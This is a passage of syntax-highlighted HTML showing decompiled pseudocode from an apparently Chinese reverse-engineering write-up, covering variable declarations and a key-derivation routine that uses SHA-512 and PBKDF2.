#5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v120; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v121; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v122; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v123; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ebx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v124; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v125; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v126; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v127; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v128; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v129; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v130; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v131; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v132; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rbx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v133; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v134; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v135; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v136; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span leaf="">  __int64 v137; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v138; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v139; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v140; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v141; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v142; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v143; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v144; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v145; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v146; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v147; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v148; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v149; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v150; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v151; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v152; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v153; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v154; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v155; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v157; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v158; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v159; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v160; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v161; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v162; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v163; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v164; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v165; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v166; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v167; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v168; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v169; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v170; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v171; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v172; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v173; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v174; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v175; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v176; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v177; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v178; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v179; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v180; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v181; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v182; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v183; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v184; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v185; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v186; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v187; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v188; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v189; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v190; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v191; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v192; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v193; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v194; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v195; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v196; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v197; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v198; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v199; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v200; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+0h] [rbp-80h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v201; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v202; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v203; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v204; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v205; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v206; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+8h] [rbp-78h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v207; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+10h] [rbp-70h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v208; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+10h] [rbp-70h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v209; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+10h] [rbp-70h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v210; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+10h] [rbp-70h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v211; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+10h] [rbp-70h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v212[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+20h] [rbp-60h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v213[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+30h] [rbp-50h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v214; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+48h] [rbp-38h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> sbox[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">288</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+50h] [rbp-30h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v216[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+170h] [rbp+F0h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> key2[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+190h] [rbp+110h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v218[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+1B0h] [rbp+130h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v219[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+1D0h] [rbp+150h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> key1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+1F0h] [rbp+170h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v221[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+210h] [rbp+190h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v222[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+230h] [rbp+1B0h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v223; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+248h] [rbp+1C8h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v224; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+249h] [rbp+1C9h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v225; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+24Ah] [rbp+1CAh] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> Mode[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+24Bh] [rbp+1CBh] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v227; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+258h] [rbp+1D8h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v228; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+260h] [rbp+1E0h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v229; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+26Fh] [rbp+1EFh] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v230; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+270h] [rbp+1F0h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v231; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+278h] [rbp+1F8h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> Size; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+280h] [rbp+200h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v233; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+288h] [rbp+208h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> v234; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+290h] [rbp+210h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v235; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+298h] [rbp+218h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> v236; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2A0h] [rbp+220h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v237; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2A8h] [rbp+228h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> v238; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2B0h] [rbp+230h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  __int64 v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2B8h] [rbp+238h] BYREF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int8 v240; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2E7h] [rbp+267h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v241; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2E8h] [rbp+268h]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v242; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2F0h] [rbp+270h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v243; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+2FCh] [rbp+27Ch]</span></span><span leaf=""><br/></span><span leaf="">  __int64 v244; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+300h] [rbp+280h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 n; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+308h] [rbp+288h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> m; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+314h] [rbp+294h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 k; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+318h] [rbp+298h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+324h] [rbp+2A4h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v249; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+328h] [rbp+2A8h]</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> j; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [rsp+32Ch] [rbp+2ACh]</span></span><span leaf=""><br/></span><span leaf="">  sub_140002DC7();</span><span leaf=""><br/></span><span leaf="">  v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] = &amp;v223;</span><span leaf=""><br/></span><span leaf="">  sub_140008F50(a1, a2, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">, v222, &amp;v223, v2);</span><span leaf=""><br/></span><span leaf="">  sub_1400073E0(a1, a2, v3, &amp;v223, v4, v5);</span><span leaf=""><br/></span><span leaf="">  v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] = &amp;v224;</span><span leaf=""><br/></span><span leaf="">  sub_140008F50(a1, a2, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">, v221, &amp;v224, v6);</span><span leaf=""><br/></span><span leaf="">  sub_1400073E0(a1, a2, v7, &amp;v224, v8, v9);</span><span leaf=""><br/></span><span leaf="">  sub_140001E9D(a1, a2, v10, v222);</span><span leaf=""><br/></span><span leaf="">  sub_140001E9D(a1, a2, v11, v221);</span><span leaf=""><br/></span><span leaf="">  (sha512)(a1, a2, v222, key1, v221, v12, v157);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 对key1进行sha512 长度64</span></span><span leaf=""><br/></span><span leaf="">  v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] = &amp;v225;</span><span leaf=""><br/></span><span leaf="">  sub_140008F50(a1, a2, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">, v219, &amp;v225, v13);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">//salt长度32</span></span><span leaf=""><br/></span><span leaf="">  sub_1400073E0(a1, a2, v14, &amp;v225, v15, v16);</span><span leaf=""><br/></span><span leaf="">  sub_140001E9D(a1, a2, v17, v219);</span><span leaf=""><br/></span><span leaf="">  (sub_140008F30)(a1, a2, v18, v218, v19, v20, v158);</span><span leaf=""><br/></span><span leaf="">  qmemcpy(Mode, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lilac+present&#34;</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(Mode));</span><span leaf=""><br/></span><span leaf="">  v21 = Mode;</span><span leaf=""><br/></span><span leaf="">  v22 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L;</span><span leaf=""><br/></span><span leaf="">  v228 = (sub_140008B20)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v23, v218, v24, v25, v159);</span><span leaf=""><br/></span><span leaf="">  (sub_1400067E0)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, &amp;v228, &amp;v227, v26, v27, v160);</span><span leaf=""><br/></span><span leaf="">  v212[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = Mode;                               </span><span leaf=""><br/></span><span leaf="">  v212[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L;</span><span leaf=""><br/></span><span leaf="">  (PBKDF2)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v227, v218, v212, v28, v161);</span><span leaf=""><br/></span><span leaf="">  (sha512)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v218, key2, v219, v29, v162);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// sha512 拼接 通过PBKDF2计算key2 </span></span><span leaf=""><br/></span><span leaf="">  v244 = (fopen)(</span><span style="color: #d19a66;line-height: 26px;"><span 